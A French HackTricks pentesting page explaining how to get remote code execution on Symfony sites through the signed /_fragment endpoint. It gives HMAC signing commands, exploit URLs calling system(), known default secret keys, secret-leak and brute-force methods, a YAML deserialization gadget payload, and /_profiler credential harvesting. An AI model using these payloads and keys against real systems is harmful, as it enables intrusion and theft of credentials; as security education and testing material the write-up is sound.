hacktricks/network-services-pentesting/pentesting-web/symphony.md
2023-06-03 13:10:46 +00:00

36 KiB

Symfony

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Introduction

Depuis sa création en 2008, l'utilisation du framework Symfony a été de plus en plus utilisée dans les applications basées sur PHP. Il est maintenant un composant central de nombreux CMS bien connus, tels que Drupal, Joomla!, eZPlatform (anciennement eZPublish) ou Bolt, et est souvent utilisé pour construire des sites web personnalisés.

L'une des fonctionnalités intégrées de Symfony, conçue pour gérer les ESI (Edge-Side Includes), est la classe FragmentListener. Essentiellement, lorsqu'une personne émet une demande à /_fragment, cet auditeur définit les attributs de la demande à partir des paramètres GET donnés. Comme cela permet d'exécuter du code PHP arbitraire (plus d'informations à ce sujet plus tard), la demande doit être signée à l'aide d'une valeur HMAC. La clé cryptographique secrète de ce HMAC est stockée sous une valeur de configuration Symfony nommée secret.

Cette valeur de configuration, secret, est également utilisée, par exemple, pour construire des jetons CSRF et des jetons de rappel. Étant donné son importance, cette valeur doit évidemment être très aléatoire.

Malheureusement, nous avons découvert que souvent, le secret a soit une valeur par défaut, soit il existe des moyens d'obtenir la valeur, de la bruteforcer hors ligne, ou de simplement contourner la vérification de sécurité à laquelle elle est associée. Cela affecte notamment Bolt, eZPlatform et eZPublish.

Bien que cela puisse sembler être un problème de configuration bénin, nous avons constaté que des valeurs par défaut, bruteforçables ou devinables sont très, très souvent présentes dans les CMS mentionnés ainsi que dans les applications personnalisées. Cela est principalement dû au fait de ne pas mettre suffisamment l'accent sur son importance dans la documentation ou les guides d'installation.

De plus, un attaquant peut escalader des vulnérabilités moins impactantes pour lire le secret (par le biais d'une divulgation de fichier), contourner le processus de signature /_fragment (en utilisant un SSRF) et même le divulguer via phpinfo() !

Dans ce billet de blog, nous décrirons comment le secret peut être obtenu dans divers CMS et sur le framework de base, et comment obtenir l'exécution de code à l'aide de ce secret.

Un peu d'histoire

Étant un framework moderne, Symfony a dû gérer la génération de sous-parties d'une demande depuis sa création jusqu'à nos jours. Avant /_fragment, il y avait /_internal et /_proxy, qui faisaient essentiellement la même chose. Cela a produit de nombreuses vulnérabilités au fil des ans : CVE-2012-6432, CVE-2014-5245 et CVE-2015-4050, par exemple.

Depuis Symfony 4, le secret est généré à l'installation et la page /_fragment est désactivée par défaut. On pourrait donc penser que la conjonction d'avoir à la fois une valeur secret faible et /_fragment activé serait rare. Ce n'est pas le cas : de nombreux frameworks s'appuient sur d'anciennes versions de Symfony (même la version 2.x est encore très présente), et implémentent soit une valeur secret statique, soit la génèrent mal. De plus, de nombreux frameworks s'appuient sur ESI et activent donc la page /_fragment. De plus, comme nous le verrons, d'autres vulnérabilités de moindre impact peuvent permettre de récupérer le secret, même s'il a été généré de manière sécurisée.

Exécution de code à l'aide de secret

Nous allons d'abord démontrer comment un attaquant, ayant connaissance de la valeur de configuration secret, peut obtenir l'exécution de code. Cela est fait pour la dernière version de symfony/http-kernel, mais est similaire pour d'autres versions.

Utilisation de /_fragment pour exécuter du code arbitraire

Comme mentionné précédemment, nous utiliserons la page /_fragment.

# ./vendor/symfony/http-kernel/EventListener/FragmentListener.php

class FragmentListener implements EventSubscriberInterface
{
    public function onKernelRequest(RequestEvent $event)
    {
        $request = $event->getRequest();

        # [1]
        if ($this->fragmentPath !== rawurldecode($request->getPathInfo())) {
            return;
        }

        if ($request->attributes->has('_controller')) {
            // Is a sub-request: no need to parse _path but it should still be removed from query parameters as below.
            $request->query->remove('_path');

            return;
        }

        # [2]
        if ($event->isMasterRequest()) {
            $this->validateRequest($request);
        }

        # [3]
        parse_str($request->query->get('_path', ''), $attributes);
        $request->attributes->add($attributes);
        $request->attributes->set('_route_params', array_replace($request->attributes->get('_route_params', []), $attributes));
        $request->query->remove('_path');
    }
}

FragmentListener:onKernelRequest sera exécuté à chaque requête : si le chemin de la requête est /_fragment [1], la méthode vérifiera d'abord que la requête est valide (c.-à-d. correctement signée), et lèvera une exception sinon [2]. Si les vérifications de sécurité réussissent, elle analysera le paramètre _path encodé en URL et définira les attributs $request en conséquence.

Les attributs de requête ne doivent pas être confondus avec les paramètres de requête HTTP : ce sont des valeurs internes, maintenues par Symfony, qui ne peuvent généralement pas être spécifiées par un utilisateur. L'un de ces attributs de requête est _controller, qui spécifie quel contrôleur Symfony (un tuple (classe, méthode) ou simplement une fonction) doit être appelé. Les attributs dont le nom ne commence pas par _ sont des arguments qui seront transmis au contrôleur. Par exemple, si nous voulions appeler cette méthode :

class SomeClass
{
    public function someMethod($firstMethodParam, $secondMethodParam)
    {
        ...
    } 
}

Nous avons défini _path comme suit :

_controller=SomeClass::someMethod&firstMethodParam=test1&secondMethodParam=test2

La requête ressemblerait alors à ceci :

http://symfony-site.com/_fragment?_path=_controller%3DSomeClass%253A%253AsomeMethod%26firstMethodParam%3Dtest1%26secondMethodParam%3Dtest2&_hash=...

Essentiellement, cela permet d'appeler n'importe quelle fonction ou méthode de n'importe quelle classe, avec n'importe quel paramètre. Étant donné la pléthore de classes que Symfony possède, l'obtention d'une exécution de code est triviale. Nous pouvons, par exemple, appeler system() :

http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=...

Appeler system ne fonctionnera pas à chaque fois : reportez-vous à la section Exploitation pour plus de détails sur les subtilités de l'exploitation.

Un problème reste : comment Symfony vérifie-t-il la signature de la requête ?

Signature de l'URL

Pour vérifier la signature d'une URL, un HMAC est calculé sur l'URL complète. Le hash obtenu est ensuite comparé à celui spécifié par l'utilisateur.

En termes de code, cela se fait en deux endroits :

# ./vendor/symfony/http-kernel/EventListener/FragmentListener.php

class FragmentListener implements EventSubscriberInterface
{
    protected function validateRequest(Request $request)
    {
        // is the Request safe?
        if (!$request->isMethodSafe()) {
            throw new AccessDeniedHttpException();
        }

        // is the Request signed?
        if ($this->signer->checkRequest($request)) {
            return;
        }

        # [3]
        throw new AccessDeniedHttpException();
    }
}

# ./vendor/symfony/http-kernel/UriSigner.php

class UriSigner
{
    public function checkRequest(Request $request): bool
    {
        $qs = ($qs = $request->server->get('QUERY_STRING')) ? '?'.$qs : '';

        // we cannot use $request->getUri() here as we want to work with the original URI (no query string reordering)
        return $this->check($request->getSchemeAndHttpHost().$request->getBaseUrl().$request->getPathInfo().$qs);
    }

    /**
     * Checks that a URI contains the correct hash.
     *
     * @return bool True if the URI is signed correctly, false otherwise
     */
    public function check(string $uri)
    {
        $url = parse_url($uri);
        if (isset($url['query'])) {
            parse_str($url['query'], $params);
        } else {
            $params = [];
        }

        if (empty($params[$this->parameter])) {
            return false;
        }

        $hash = $params[$this->parameter];
        unset($params[$this->parameter]);

        # [2]
        return hash_equals($this->computeHash($this->buildUrl($url, $params)), $hash);
    }

    private function computeHash(string $uri): string
    {
        # [1]
        return base64_encode(hash_hmac('sha256', $uri, $this->secret, true));
    }

    private function buildUrl(array $url, array $params = []): string
    {
        ksort($params, SORT_STRING);
        $url['query'] = http_build_query($params, '', '&');

        $scheme = isset($url['scheme']) ? $url['scheme'].'://' : '';
        $host = isset($url['host']) ? $url['host'] : '';
        $port = isset($url['port']) ? ':'.$url['port'] : '';
        $user = isset($url['user']) ? $url['user'] : '';
        $pass = isset($url['pass']) ? ':'.$url['pass'] : '';
        $pass = ($user || $pass) ? "$pass@" : '';
        $path = isset($url['path']) ? $url['path'] : '';
        $query = isset($url['query']) && $url['query'] ? '?'.$url['query'] : '';
        $fragment = isset($url['fragment']) ? '#'.$url['fragment'] : '';

        return $scheme.$user.$pass.$host.$port.$path.$query.$fragment;
    }
}

En bref, Symfony extrait le paramètre GET _hash, puis reconstruit l'URL complète, par exemple https://symfony-site.com/_fragment?_path=controller%3d...%26argument1=test%26..., calcule un HMAC à partir de cette URL en utilisant la secret comme clé [1], et le compare à la valeur de hachage donnée [2]. S'ils ne correspondent pas, une exception AccessDeniedHttpException est levée [3], ce qui entraîne une erreur 403.

Exemple

Pour tester cela, configurons un environnement de test et extrayons la clé secrète (dans ce cas, générée de manière aléatoire).

$ git clone https://github.com/symfony/skeleton.git
$ cd skeleton
$ composer install
$ sed -i -E 's/#(esi|fragment)/\1/g' config/packages/framework.yaml # Enable ESI/fragment
$ grep -F APP_SECRET .env # Find secret
APP_SECRET=50c8215b436ebfcc1d568effb624a40e
$ cd public
$ php -S 0:8000

Maintenant, en visitant http://localhost:8000/_fragment, on obtient une erreur 403. Essayons maintenant de fournir une signature valide:

$ php -r "echo(urlencode(base64_encode(hash_hmac('sha256', 'http://localhost:8000/_fragment', '50c8215b436ebfcc1d568effb624a40e', 1))) . PHP_EOL);"
lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm%2FcmFOh8%3D

En vérifiant http://localhost:8000/_fragment?_hash=lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm%2FcmFOh8%3D, nous avons maintenant un code d'état 404. La signature était correcte, mais nous n'avons spécifié aucun attribut de requête, donc Symfony ne trouve pas notre contrôleur.

Puisque nous pouvons appeler n'importe quelle méthode, avec n'importe quel argument, nous pouvons par exemple choisir system($command, $return_value), et fournir une charge utile comme ceci:

$ page="http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull"
$ php -r "echo(urlencode(base64_encode(hash_hmac('sha256', '$page', '50c8215b436ebfcc1d568effb624a40e', 1))) . PHP_EOL);"
GFhQ4Hr1LIA8mO1M%2FqSfwQaSM8xQj35vPhyrF3hvQyI%3D

Nous pouvons maintenant visiter l'URL d'exploitation : http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=GFhQ4Hr1LIA8mO1M%2FqSfwQaSM8xQj35vPhyrF3hvQyI%3D.

Malgré l'erreur 500, nous pouvons voir que notre commande a été exécutée.

RCE en utilisant un fragment

1

Trouver des secrets

Encore une fois : tout cela n'aurait pas d'importance si les secrets n'étaient pas obtenables. Souvent, ils le sont. Nous décrirons plusieurs façons d'obtenir l'exécution de code sans aucune connaissance préalable.

À travers les vulnérabilités

Commençons par l'évidence : utiliser des vulnérabilités à faible impact pour obtenir le secret.

Lecture de fichiers

De toute évidence, une vulnérabilité de lecture de fichiers pourrait être utilisée pour lire les fichiers suivants et obtenir secret :

  • app/config/parameters.yml
  • .env

À titre d'exemple, certains outils de débogage Symfony vous permettent de lire des fichiers.

PHPinfo

Sur les versions récentes de Symfony (3.x), secret est stocké dans .env en tant que APP_SECRET. Comme il est ensuite importé en tant que variable d'environnement, ils peuvent être vus via une page phpinfo().

Fuite de APP_SECRET via phpinfo

2

Cela peut notamment être fait via le package de profilage de Symfony, comme le montre la capture d'écran.

SSRF / IP spoofing (CVE-2014-5245)

Le code derrière FragmentListener a évolué au fil des ans : jusqu'à la version 2.5.3, lorsque la demande provenait d'un proxy de confiance (c'est-à-dire localhost), elle était considérée comme sûre, et donc le hachage ne serait pas vérifié. Un SSRF, par exemple, peut permettre d'exécuter immédiatement du code, indépendamment de la possession de secret ou non. Cela affecte notamment eZPublish jusqu'à 2014.7.

# ./vendor/symfony/symfony/src/Symfony/Component/HttpKernel/EventListener/FragmentListener.php
# Symfony 2.3.18

class FragmentListener implements EventSubscriberInterface
{
    protected function validateRequest(Request $request)
    {
        // is the Request safe?
        if (!$request->isMethodSafe()) {
            throw new AccessDeniedHttpException();
        }

        // does the Request come from a trusted IP?
        $trustedIps = array_merge($this->getLocalIpAddresses(), $request->getTrustedProxies());
        $remoteAddress = $request->server->get('REMOTE_ADDR');
        if (IpUtils::checkIp($remoteAddress, $trustedIps)) {
            return;
        }

        // is the Request signed?
        // we cannot use $request->getUri() here as we want to work with the original URI (no query string reordering)
        if ($this->signer->check($request->getSchemeAndHttpHost().$request->getBaseUrl().$request->getPathInfo().(null !== ($qs = $request->server->get('QUERY_STRING')) ? '?'.$qs : ''))) {
            return;
        }

        throw new AccessDeniedHttpException();
    }

    protected function getLocalIpAddresses()
    {
        return array('127.0.0.1', 'fe80::1', '::1');
    }

Il faut admettre que toutes ces techniques nécessitent une autre vulnérabilité. Plongeons dans un vecteur encore meilleur : les valeurs par défaut.

À travers les valeurs par défaut

Symfony <= 3.4.43 : ThisTokenIsNotSoSecretChangeIt

Lors de la configuration d'un site web Symfony, la première étape consiste à installer le squelette symfony-standard. Lors de l'installation, une invite demande certaines valeurs de configuration. Par défaut, la clé est ThisTokenIsNotSoSecretChangeIt.

Installation de Symfony via composer

3

Dans les versions ultérieures (4+), la clé secrète est générée de manière sécurisée.

ezPlatform 3.x (dernière version) : ff6dc61a329dc96652bb092ec58981f7

ezPlatform, le successeur de ezPublish, utilise toujours Symfony. Le 10 juin 2019, un commit a défini la clé par défaut à ff6dc61a329dc96652bb092ec58981f7. Les versions vulnérables vont de 3.0-alpha1 à 3.1.1 (actuelle).

Bien que la documentation indique que la clé secrète doit être modifiée, cela n'est pas obligatoire.

ezPlatform 2.x : ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt

Comme le squelette de Symfony, une invite vous demandera d'entrer une clé secrète lors de l'installation. La valeur par défaut est ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt.

Bolt CMS <= 3.7 (dernière version) : md5(__DIR__)

Bolt CMS utilise Silex, un micro-framework obsolète basé sur Symfony. Il configure la clé secrète en utilisant ce calcul :

# ./vendor/silex/silex/src/Silex/Provider/HttpFragmentServiceProvider.php
$app['uri_signer.secret'] = md5(__DIR__);

# ./vendor/silex/silex/src/Silex/Provider/FormServiceProvider.php
$app['form.secret'] = md5(__DIR__);

Ainsi, on peut deviner le secret, ou utiliser une vulnérabilité de divulgation de chemin complet pour le calculer.

Si vous n'avez pas réussi avec les clés secrètes par défaut, ne désespérez pas : il y a d'autres moyens.

Bruteforce

Comme le secret est souvent défini manuellement (par opposition à une valeur aléatoire générée), les gens utilisent souvent une phrase secrète au lieu d'une valeur aléatoire sécurisée, ce qui la rend brute-forçable si nous avons un hachage pour la brute-forcer. Évidemment, une URL /_fragment valide, telle que celle générée par Symfony, nous fournirait un tuple message-hachage valide pour brute-forcer le secret.

Une demande valide au fragment est incluse dans la réponse

4

Au début de ce billet de blog, nous avons dit que le secret de Symfony avait plusieurs utilisations. L'une de ces utilisations est qu'il est également utilisé pour générer des jetons CSRF. Une autre utilisation de secret est de signer les cookies de rappel. Dans certains cas, un attaquant peut utiliser son propre jeton CSRF ou cookie de rappel pour brute-forcer la valeur de secret.

La rétro-ingénierie de la construction de ces jetons est laissée en exercice au lecteur.

Aller plus loin : eZPublish

À titre d'exemple de la façon dont les secrets peuvent être brute-forcés afin d'obtenir une exécution de code, nous verrons comment nous pouvons découvrir le secret d'eZPublish 2014.07.

Trouver du matériel de brute-force

eZPublish génère ses jetons CSRF de cette manière :

# ./ezpublish_legacy/extension/ezformtoken/event/ezxformtoken.php
self::$token = sha1( self::getSecret() . self::getIntention() . session_id() );

Pour construire ce jeton, eZP utilise deux valeurs que nous connaissons, ainsi que le secret : getIntention() est l'action que l'utilisateur tente de réaliser (authentifier, par exemple), session_id() est l'identifiant de session PHP, et getSecret(), eh bien, c'est le secret de Symfony.

Comme les jetons CSRF peuvent être trouvés sur certains formulaires, nous avons maintenant le matériel nécessaire pour forcer le secret.

Malheureusement, ezPublish a incorporé un bundle de sensiolabs, sensio/distribution-bundle. Ce package s'assure que la clé secrète est aléatoire. Il la génère ainsi, lors de l'installation :

# ./vendor/sensio/distribution-bundle/Sensio/Bundle/DistributionBundle/Configurator/Step/SecretStep.php

private function generateRandomSecret()
{
    return hash('sha1', uniqid(mt_rand()));
}

Cela semble vraiment difficile à bruteforcer : mt_rand() peut produire 231 valeurs différentes, et uniqid() est construit à partir de l'horodatage actuel (avec des microsecondes).

// Simplified uniqid code

struct timeval tv;
gettimeofday(&tv, NULL);
return strpprintf(0, "%s%08x%05x", prefix, tv.tv_sec, tv.tv_usec);

Divulgation de l'horodatage

Heureusement, nous savons que ce secret est généré à la dernière étape de l'installation, juste après la mise en place du site web. Cela signifie que nous pouvons probablement divulguer l'horodatage utilisé pour générer ce hash.

Une façon de le faire est d'utiliser les journaux (par exemple /var/log/storage.log); on peut divulguer la première fois qu'une entrée de cache a été créée. L'entrée de cache est créée juste après l'appel de generateRandomSecret().

Contenu d'un journal d'exemple: l'horodatage est similaire à celui utilisé pour calculer le secret

5

Si les journaux ne sont pas disponibles, on peut utiliser le moteur de recherche très puissant d'eZPublish pour trouver l'heure de création du tout premier élément du site web. En effet, lors de la création du site, de nombreux horodatages sont mis dans la base de données. Cela signifie que l'horodatage des données initiales du site eZPublish est le même que celui utilisé pour calculer uniqid(). Nous pouvons chercher le ContentObject landing_page et découvrir son horodatage.

Bruteforcer les bits manquants

Nous sommes maintenant conscients de l'horodatage utilisé pour calculer le secret, ainsi que d'un hash de la forme suivante:

$random_value = mt_rand();
$timestamp_hex = sprintf("%08x%05x", $known_timestamp, $microseconds);
$known_plaintext = '<intention><sessionID>';
$known_hash = sha1(sha1(mt_rand() . $timestamp_hex) . $known_plaintext);

Cela nous laisse un total de 231 * 106 possibilités. Cela semble faisable avec hashcat et un bon ensemble de GPU, mais hashcat ne fournit pas de noyau sha1(sha1($pass).$salt). Heureusement, nous l'avons implémenté ! Vous pouvez trouver la demande de tirage ici.

En utilisant notre machine de craquage, qui dispose de 8 GPU, nous pouvons craquer ce hash en moins de 20 heures.

Après avoir obtenu le hash, nous pouvons utiliser /_fragment pour exécuter du code.

Conclusion

Symfony est maintenant un composant central de nombreuses applications PHP. En tant que tel, tout risque de sécurité qui affecte le framework affecte de nombreux sites web. Comme le démontre cet article, une clé secrète faible ou une vulnérabilité moins importante permet aux attaquants d'obtenir une exécution de code à distance.

En tant que membre de l'équipe de sécurité, vous devriez examiner tous vos sites web dépendant de Symfony. Un logiciel à jour ne peut être exclu pour les vulnérabilités, car la clé secrète est générée lors de la première installation du produit. Ainsi, si vous avez créé un site web basé sur Symfony 3.x il y a quelques années et que vous l'avez maintenu à jour tout au long du processus, il y a de fortes chances que la clé secrète soit toujours celle par défaut.

Exploitation

Théorie

D'une part, nous avons quelques choses à craindre lors de l'exploitation de cette vulnérabilité :

  • L'HMAC est calculé en utilisant l'URL complète. Si le site web est derrière un proxy inverse, nous devons utiliser l'URL interne du service au lieu de celle à laquelle nous envoyons notre charge utile. Par exemple, l'URL interne pourrait être en HTTP au lieu de HTTPS.
  • L'algorithme HMAC a changé au fil des ans : il était SHA-1 avant, et est maintenant SHA-256.
  • Comme Symfony supprime le paramètre _hash de la requête, puis génère à nouveau l'URL, nous devons calculer le hash sur la même URL qu'elle.
  • De nombreux secrets peuvent être utilisés, nous devons donc tous les vérifier.
  • Sur certaines versions de PHP, nous ne pouvons pas appeler des fonctions qui ont des paramètres "par référence", comme system($command, &$return_value).
  • Sur certaines versions de Symfony, _controller ne peut pas être une fonction, il doit s'agir d'une méthode. Nous devons trouver une méthode Symfony qui nous permet d'exécuter du code.

D'autre part, nous pouvons profiter de quelques choses :

  • Atteindre /_fragment sans paramètres, ou avec un hash invalide, devrait renvoyer un 403.
  • Atteindre /_fragment avec un hash valide mais sans un contrôleur valide devrait donner un 500.

Le dernier point nous permet de tester les valeurs secrètes sans nous soucier de la fonction ou de la méthode que nous allons appeler ensuite.

Pratique

Disons que nous attaquons https://target.com/_fragment. Pour pouvoir signer correctement une URL, nous avons besoin de connaître :

  • URL interne : cela pourrait être https://target.com/_fragment, ou peut-être http://target.com/_fragment, ou quelque chose de complètement différent (par exemple http://target.website.internal), que nous ne pouvons pas deviner
  • Clé secrète : nous avons une liste de clés secrètes habituelles, telles que ThisTokenIsNotSoSecretChangeIt, ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt, etc.
  • Algorithme : SHA1 ou SHA256

Nous n'avons pas besoin de nous soucier de la charge utile effective (le contenu de _path) pour l'instant, car une URL correctement signée ne donnera pas lieu à une AccessDeniedHttpException, et ne donnera donc pas lieu à un 403. L'exploit va donc essayer chaque combinaison (algorithme, URL, secret), générer une URL et vérifier si elle ne renvoie pas un code d'état 403.

Une demande valide à /_fragment, sans le paramètre _path

6

À ce stade, nous pouvons signer n'importe quelle URL /_fragment, ce qui signifie qu'il s'agit d'une RCE garantie. Il s'agit simplement de savoir quoi appeler.

Ensuite, nous devons savoir si nous pouvons appeler une fonction directement, ou si nous devons utiliser une méthode de classe. Nous pouvons d'abord essayer la première méthode la plus simple, en utilisant une fonction telle que phpinfo ([ int $what = INFO_ALL ] ) (documentation). Le paramètre GET _path ressemblerait à cela :

_controller=phpinfo
&what=-1

Et l'URL ressemblerait à ceci :

http://target.com/_fragment?_path=_controller%3Dphpinfo%26what%3D-1&_hash=...

Si la réponse HTTP affiche une page phpinfo(), nous avons réussi. Nous pouvons alors essayer d'utiliser une autre fonction, telle que assert :

Exemple de sortie en utilisant _controller=assert

7

Sinon, cela signifie que nous devrons utiliser une méthode de classe à la place. Un bon candidat pour cela est Symfony\Component\Yaml\Inline::parse, qui est une classe Symfony intégrée, et en tant que telle est présente sur les sites Symfony.

Évidemment, cette méthode analyse une chaîne d'entrée YAML. Le parseur YAML de Symfony prend en charge la balise php/object, qui convertira une chaîne d'entrée sérialisée en un objet en utilisant unserialize(). Cela nous permet d'utiliser notre outil PHP préféré, PHPGGC !

Le prototype de la méthode a changé au fil des ans. Par exemple, voici trois prototypes différents :

public static function parse($value, $flags, $references);
public static function parse($value, $exceptionOnInvalidType, $objectSupport);
public static function parse($value, $exceptionOnInvalidType, $objectSupport, $objectForMap, $references);

Au lieu de construire _path pour chacun de ces éléments, nous pouvons profiter du fait que si nous donnons un argument dont le nom ne correspond pas au prototype de la méthode, il sera ignoré. Nous pouvons donc ajouter tous les arguments possibles à la méthode, sans nous soucier du prototype réel.

Nous pouvons donc construire _path comme ceci:

_controller=Symfony\Component\Yaml\Inline::parse
&value=!php/object O:32:"Monolog\Handler\SyslogUdpHandler":...
&flags=516
&exceptionOnInvalidType=0
&objectSupport=1
&objectForMap=0
&references=
&flags=516

Encore une fois, nous pouvons essayer avec phpinfo() et voir si cela fonctionne. Si c'est le cas, nous pouvons utiliser system() à la place.

Exemple de sortie en utilisant Inline::parse avec une charge utile sérialisée

8

L'exploit va donc parcourir toutes les combinaisons de variables possibles, puis essayer les deux méthodes d'exploitation. Le code est disponible sur notre GitHub.

Accès aux informations symfony /_profiler

f:id:flattsecurity:20201021204553p:plain

Comme vous pouvez le voir sur la capture d'écran ci-dessus, il y a un logo sf en bas à droite de la page. Ce logo est affiché lorsque Symfony est en mode débogage. Il y a des cas où ce logo ne s'affiche pas, alors essayez d'accéder à /_profiler et vous verrez la page comme indiqué ci-dessous.

f:id:flattsecurity:20201021204605p:plain

Cette fonctionnalité s'appelle Symfony Profiler, et il n'y a pas beaucoup d'informations à ce sujet sur Internet. L'intention de cette fonctionnalité est très claire ; elle vous aide à déboguer lorsqu'il y a une erreur ou un bogue. Bien sûr, cette fonctionnalité ne peut être utilisée que lorsque le mode débogage est activé.

Le framework Symfony lui-même est très sécurisé, mais l'activation du mode débogage rendra ce framework extrêmement vulnérable. Par exemple, Profiler a une fonctionnalité appelée Profile Search, comme le montre la capture d'écran suivante.

f:id:flattsecurity:20201021204624p:plain

Comme vous pouvez le voir sur la capture d'écran ci-dessus, vous pouvez accéder à toutes les demandes envoyées au serveur. En cliquant sur les hachages dans le jeton, vous verrez que tous les paramètres POST peuvent être lus, comme on le voit sur la capture d'écran suivante. Avec cette fonctionnalité, nous pouvons pirater les identifiants du compte de l'administrateur et de l'utilisateur.

f:id:flattsecurity:20201021204637p:plain

Autres points d'extrémité activés par le débogage

Vous devriez également vérifier ces URL :

Références

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥